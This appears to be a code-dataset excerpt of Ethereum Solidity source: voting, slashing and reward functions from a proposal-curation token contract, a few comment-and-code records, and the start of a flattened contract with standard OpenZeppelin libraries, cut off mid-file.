emit NewProposal(_proposed_release_hash, msg.sender, proposal.disease_id, _chunkid);
}
function updatecost() public {
// only start to increase PROPOSAL AND DISEASE COSTS once we are in phase2
require(supply >= 21000000 * 10**(decimals));
// update disease and proposal cost each 52 periods to take into account inflation:
require(periodsCounter % 52 == 0);
uint _new_disease_cost = supply.mul(47619046).div(10**13); // disease cost is 0.00047619046% of supply
uint _new_proposal_vote = supply.mul(47619046).div(10**14); // default vote amount is 0.000047619046% of supply
PROPOSAL_DEFAULT_VOTE = _new_proposal_vote;
DISEASE_CREATION_AMOUNT = _new_disease_cost;
assert(LAST_PERIOD_COST_UPDATE < periodsCounter);
LAST_PERIOD_COST_UPDATE = periodsCounter;
}
function commitvote(uint _amount, bytes32 _votehash) public {
require(_amount > 10);
// Consume bosom:
require(bosoms[msg.sender] >= _amount); // this check is not mandatory as handled by safemath sub function
bosoms[msg.sender] = bosoms[msg.sender].sub(_amount);
// Block Eticas in eticablkdtbl to prevent user from unstaking before eventual slash
blockedeticas[msg.sender] = blockedeticas[msg.sender].add(_amount);
// store _votehash in commits with _amount and current block.timestamp value:
commits[msg.sender][_votehash].amount = commits[msg.sender][_votehash].amount.add(_amount);
commits[msg.sender][_votehash].timestamp = block.timestamp;
RANDOMHASH = keccak256(abi.encode(RANDOMHASH, _votehash)); // updates RANDOMHASH
emit NewCommit(msg.sender, _votehash);
}
function revealvote(bytes32 _proposed_release_hash, bool _approved, string memory _vary) public {
// --- check commit --- //
bytes32 _votehash;
_votehash = keccak256(abi.encode(_proposed_release_hash, _approved, msg.sender, _vary));
require(commits[msg.sender][_votehash].amount > 0);
// --- check commit done --- //
//check if the proposal exists and that we get the right proposal:
Proposal storage proposal = proposals[_proposed_release_hash];
require(proposal.id > 0 && proposal.proposed_release_hash == _proposed_release_hash);
ProposalData storage proposaldata = propsdatas[_proposed_release_hash];
// Verify commit was done within voting time:
require( commits[msg.sender][_votehash].timestamp <= proposaldata.endtime);
// Verify we are within revealing time:
require( block.timestamp > proposaldata.endtime && block.timestamp <= proposaldata.endtime.add(DEFAULT_REVEALING_TIME));
require(proposaldata.prestatus != ProposalStatus.Pending); // can vote for proposal only if default vote has changed prestatus of Proposal. Thus can vote only if default vote occured as supposed to
uint _old_proposal_curationweight = proposaldata.lastcuration_weight;
uint _old_proposal_editorweight = proposaldata.lasteditor_weight;
// get Period of Proposal:
Period storage period = periods[proposal.period_id];
// Check that vote does not already exist
// only allow one vote for each {raw_release_hash, voter} combinasion
bytes32 existing_vote = votes[proposal.proposed_release_hash][msg.sender].proposal_hash;
if(existing_vote != 0x0 || votes[proposal.proposed_release_hash][msg.sender].amount != 0) revert(); //prevent the same user from voting twice for same raw_release_hash. Double condition check for better security and slightly higher gas cost even though one would be enough !
// store vote:
Vote storage vote = votes[proposal.proposed_release_hash][msg.sender];
vote.proposal_hash = proposal.proposed_release_hash;
vote.approve = _approved;
vote.is_editor = false;
vote.amount = commits[msg.sender][_votehash].amount;
vote.voter = msg.sender;
vote.timestamp = block.timestamp;
proposaldata.nbvoters = proposaldata.nbvoters.add(1);
// PROPOSAL VAR UPDATE
if(_approved){
proposaldata.forvotes = proposaldata.forvotes.add(commits[msg.sender][_votehash].amount);
}
else {
proposaldata.againstvotes = proposaldata.againstvotes.add(commits[msg.sender][_votehash].amount);
}
// Determine slashing conditions
bool _isapproved = false;
bool _istie = false;
uint totalVotes = proposaldata.forvotes.add(proposaldata.againstvotes);
uint _forvotes_numerator = proposaldata.forvotes.mul(10000); // (newproposal_forvotes / totalVotes) will give a number between 0 and 1. Multiply by 10000 to store it as uint
uint _ratio_slashing = 0;
if ((_forvotes_numerator.div(totalVotes)) > APPROVAL_THRESHOLD){
_isapproved = true;
}
if ((_forvotes_numerator.div(totalVotes)) == APPROVAL_THRESHOLD){
_istie = true;
}
proposaldata.istie = _istie;
if (_isapproved){
_ratio_slashing = uint(((10000 - APPROVAL_THRESHOLD).mul(totalVotes)).div(10000));
_ratio_slashing = uint((proposaldata.againstvotes.mul(10000)).div(_ratio_slashing));
proposaldata.slashingratio = uint(10000 - _ratio_slashing);
}
else{
_ratio_slashing = uint((totalVotes.mul(APPROVAL_THRESHOLD)).div(10000));
_ratio_slashing = uint((proposaldata.forvotes.mul(10000)).div(_ratio_slashing));
proposaldata.slashingratio = uint(10000 - _ratio_slashing);
}
// Make sure the slashing reward ratio is within expected range:
require(proposaldata.slashingratio >=0 && proposaldata.slashingratio <= 10000);
// updates period forvotes and againstvotes system
ProposalStatus _newstatus = ProposalStatus.Rejected;
if(_isapproved){
_newstatus = ProposalStatus.Accepted;
}
if(proposaldata.prestatus == ProposalStatus.Singlevoter){
if(_isapproved){
period.forprops = period.forprops.add(1);
}
else {
period.againstprops = period.againstprops.add(1);
}
}
// in this case the proposal becomes rejected after being accepted or becomes accepted after being rejected:
else if(_newstatus != proposaldata.prestatus){
if(_newstatus == ProposalStatus.Accepted){
period.againstprops = period.againstprops.sub(1);
period.forprops = period.forprops.add(1);
}
// in this case proposal is necessarily Rejected:
else {
period.forprops = period.forprops.sub(1);
period.againstprops = period.againstprops.add(1);
}
}
// updates period forvotes and againstvotes system done
// Proposal and Period new weight
if (_istie) {
proposaldata.prestatus = ProposalStatus.Rejected;
proposaldata.lastcuration_weight = 0;
proposaldata.lasteditor_weight = 0;
// Proposal tied, remove proposal curation and editor sum
period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight);
period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight);
}
else {
// Proposal approved, strengthen curation sum
if (_isapproved){
proposaldata.prestatus = ProposalStatus.Accepted;
proposaldata.lastcuration_weight = proposaldata.forvotes;
proposaldata.lasteditor_weight = proposaldata.forvotes;
// Proposal approved, replace proposal curation and editor sum with forvotes
period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight).add(proposaldata.lastcuration_weight);
period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight).add(proposaldata.lasteditor_weight);
}
else{
proposaldata.prestatus = ProposalStatus.Rejected;
proposaldata.lastcuration_weight = proposaldata.againstvotes;
proposaldata.lasteditor_weight = 0;
// Proposal rejected, replace proposal curation sum with againstvotes and remove proposal editor sum
period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight).add(proposaldata.lastcuration_weight);
period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight);
}
}
// resets commit to save space:
_removecommit(_votehash);
emit NewReveal(msg.sender, proposal.proposed_release_hash);
}
function _removecommit(bytes32 _votehash) internal {
commits[msg.sender][_votehash].amount = 0;
commits[msg.sender][_votehash].timestamp = 0;
}
function clmpropbyhash(bytes32 _proposed_release_hash) public {
//check if the proposal exists and that we get the right proposal:
Proposal storage proposal = proposals[_proposed_release_hash];
require(proposal.id > 0 && proposal.proposed_release_hash == _proposed_release_hash);
ProposalData storage proposaldata = propsdatas[_proposed_release_hash];
// Verify voting and revealing period is over
require( block.timestamp > proposaldata.endtime.add(DEFAULT_REVEALING_TIME));
// we check that the vote exists
Vote storage vote = votes[proposal.proposed_release_hash][msg.sender];
require(vote.proposal_hash == _proposed_release_hash);
// make impossible to claim same vote twice
require(!vote.is_claimed);
vote.is_claimed = true;
// De-Block Eticas from eticablkdtbl to enable user to unstake these Eticas
blockedeticas[msg.sender] = blockedeticas[msg.sender].sub(vote.amount);
// get Period of Proposal:
Period storage period = periods[proposal.period_id];
uint _current_interval = uint((block.timestamp).div(REWARD_INTERVAL));
// Check if Period is ready for claims or if it needs to wait more
uint _min_intervals = uint(((DEFAULT_VOTING_TIME.add(DEFAULT_REVEALING_TIME)).div(REWARD_INTERVAL)).add(1)); // Minimum intervals before claimable
require(_current_interval >= period.interval.add(_min_intervals)); // Period not ready for claims yet. Need to wait more !
// if status equals pending this is the first claim for this proposal
if (proposaldata.status == ProposalStatus.Pending) {
// SET proposal new status
if (proposaldata.prestatus == ProposalStatus.Accepted) {
proposaldata.status = ProposalStatus.Accepted;
}
else {
proposaldata.status = ProposalStatus.Rejected;
}
proposaldata.finalized_time = block.timestamp;
// NEW STATUS AFTER FIRST CLAIM DONE
}
// only slash and reward if prop is not tie:
if (!proposaldata.istie) {
// convert boolean to enum format for making comparasion with proposaldata.status possible:
ProposalStatus voterChoice = ProposalStatus.Rejected;
if(vote.approve){
voterChoice = ProposalStatus.Accepted;
}
if(voterChoice != proposaldata.status) {
// slash loosers: voter has voted wrongly and needs to be slashed
uint _slashRemaining = vote.amount;
uint _extraTimeInt = uint(STAKING_DURATION.mul(SEVERITY_LEVEL).mul(proposaldata.slashingratio).div(10000));
if(vote.is_editor){
_extraTimeInt = uint(_extraTimeInt.mul(PROPOSERS_INCREASER));
}
// REQUIRE FEE if slashingratio is superior to 90.00%:
if(proposaldata.slashingratio > 9000){
// 33% fee if voter is not proposer or 100% fee if voter is proposer
uint _feeRemaining = uint(vote.amount.mul(33).div(100));
if(vote.is_editor){
_feeRemaining = vote.amount;
}
emit NewFee(msg.sender, _feeRemaining, vote.proposal_hash);
UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(_feeRemaining);
// update _slashRemaining
_slashRemaining = vote.amount.sub(_feeRemaining);
for(uint _stakeidxa = 1; _stakeidxa <= stakesCounters[msg.sender]; _stakeidxa++) {
//if stake is big enough and can take into account the whole fee:
if(stakes[msg.sender][_stakeidxa].amount > _feeRemaining) {
stakes[msg.sender][_stakeidxa].amount = stakes[msg.sender][_stakeidxa].amount.sub(_feeRemaining);
stakesAmount[msg.sender] = stakesAmount[msg.sender].sub(_feeRemaining);
_feeRemaining = 0;
break;
}
else {
// The fee amount is more than or equal to a full stake, so the stake needs to be deleted:
_feeRemaining = _feeRemaining.sub(stakes[msg.sender][_stakeidxa].amount);
_deletestake(msg.sender, _stakeidxa);
if(_feeRemaining == 0){
break;
}
}
}
}
// SLASH only if slash remaining > 0
if(_slashRemaining > 0){
emit NewSlash(msg.sender, _slashRemaining, vote.proposal_hash);
for(uint _stakeidx = 1; _stakeidx <= stakesCounters[msg.sender]; _stakeidx++) {
//if stake is too small and will only be able to take into account a part of the slash:
if(stakes[msg.sender][_stakeidx].amount <= _slashRemaining) {
stakes[msg.sender][_stakeidx].endTime = stakes[msg.sender][_stakeidx].endTime.add(_extraTimeInt);
_slashRemaining = _slashRemaining.sub(stakes[msg.sender][_stakeidx].amount);
if(_slashRemaining == 0){
break;
}
}
else {
// The slash amount does not fill a full stake, so the stake needs to be split
uint newAmount = stakes[msg.sender][_stakeidx].amount.sub(_slashRemaining);
uint oldCompletionTime = stakes[msg.sender][_stakeidx].endTime;
// slash amount split in _slashRemaining and newAmount
stakes[msg.sender][_stakeidx].amount = _slashRemaining; // only slash the part of the stake that amounts to _slashRemaining
stakes[msg.sender][_stakeidx].endTime = stakes[msg.sender][_stakeidx].endTime.add(_extraTimeInt); // slash the stake
if(newAmount > 0){
// create a new stake with the rest of what remained from original stake that was split in 2
splitStake(msg.sender, newAmount, oldCompletionTime);
}
break;
}
}
}
// the slash is over
}
else {
uint _reward_amount = 0;
// check beforte diving by 0
require(period.curation_sum > 0); // period curation sum pb !
// get curation reward only if voter is not the proposer:
if (!vote.is_editor){
_reward_amount = _reward_amount.add((vote.amount.mul(period.reward_for_curation)).div(period.curation_sum));
}
// if voter is editor and proposal accepted:
if (vote.is_editor && proposaldata.status == ProposalStatus.Accepted){
// check before dividing by 0
require( period.editor_sum > 0); // Period editor sum pb !
_reward_amount = _reward_amount.add((proposaldata.lasteditor_weight.mul(period.reward_for_editor)).div(period.editor_sum));
}
require(_reward_amount <= period.reward_for_curation.add(period.reward_for_editor)); // "System logic error. Too much ETICA calculated for reward."
// SEND ETICA AS REWARD
balances[address(this)] = balances[address(this)].sub(_reward_amount);
balances[msg.sender] = balances[msg.sender].add(_reward_amount);
emit Transfer(address(this), msg.sender, _reward_amount);
emit RewardClaimed(msg.sender, _reward_amount, _proposed_release_hash);
}
} // end bracket if (proposaldata.istie not true)
}
function createchunk(bytes32 _diseasehash, string memory _title, string memory _description) public {
//check if the disease exits
require(diseasesbyIds[_diseasehash] > 0 && diseasesbyIds[_diseasehash] <= diseasesCounter);
if(diseases[diseasesbyIds[_diseasehash]].disease_hash != _diseasehash) revert(); // second check not necessary but I decided to add it as the gas cost value for security is worth it
// --- REQUIRE PAYMENT FOR ADDING A CHUNK TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
uint _cost = DISEASE_CREATION_AMOUNT.div(20);
// make sure the user has enough ETI to create a chunk
require(balances[msg.sender] >= _cost);
// transfer DISEASE_CREATION_AMOUNT / 20 ETI from user wallet to contract wallet:
transfer(address(this), _cost);
// --- REQUIRE PAYMENT FOR ADDING A CHUNK TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
chunksCounter = chunksCounter.add(1); // get general id of Chunk
// updates disease's chunks infos:
diseaseChunksCounter[_diseasehash] = diseaseChunksCounter[_diseasehash].add(1); // Increase chunks index of Disease
diseasechunks[_diseasehash][diseaseChunksCounter[_diseasehash]] = chunksCounter;
// store the Chunk
chunks[chunksCounter] = Chunk(
chunksCounter, // general id of the chunk
_diseasehash, // disease of the chunk
diseaseChunksCounter[_diseasehash], // Index of chunk within disease
_title,
_description
);
UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(_cost);
emit NewChunk(chunksCounter, _diseasehash);
}
// ------------- PUBLISHING SYSTEM CORE FUNCTIONS ---------------- //
// ------------- GETTER FUNCTIONS ---------------- //
// get bosoms balance of user:
function bosomsOf(address tokenOwner) public view returns (uint _bosoms){
return bosoms[tokenOwner];
}
function getdiseasehashbyName(string memory _name) public view returns (bytes32 _diseasehash){
return diseasesbyNames[_name];
}
// ------------- GETTER FUNCTIONS ---------------- //
}
|
prevent the same answer from awarding twice
|
if(solution != 0x0) revert();
| 13,003,813
|
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./partial_match/1/0x6A55dBe285643bb8194153b65a38eB2a3a0E49Ed/sources/Bats.sol
|
* @dev Returns number of stages./
|
function getNumberStages() external view override returns (uint256) {
return _mintStages.length;
}
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./full_match/80001/0x2f6D46E2fe6D996cee9E7fA5b120a0a14d5FEd58/sources/LuckyTickets.sol
|
maps the winners to there winnings
|
mapping(address => uint256) public winnings;
| 5,691,132
|
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./partial_match/1/0x9aBbF467Ac8459Ea5C084e219CAD3F59CAFb99E4/sources/EasyBid.sol
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user user hasLiveBid to true
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bidder[msg.sender].hasLiveBid = true;
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/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// SPDX-License-Identifier: Unlicense
pragma solidity^0.8.4;
// Part: IVault
interface IVault {
function deposit(
uint256,
uint256,
uint256,
uint256,
address
)
external
returns (
uint256,
uint256,
uint256
);
function withdraw(
uint256,
uint256,
uint256,
address
) external returns (uint256, uint256);
function getTotalAmounts() external view returns (uint256, uint256);
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ReentrancyGuard
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: PositionKey
library PositionKey {
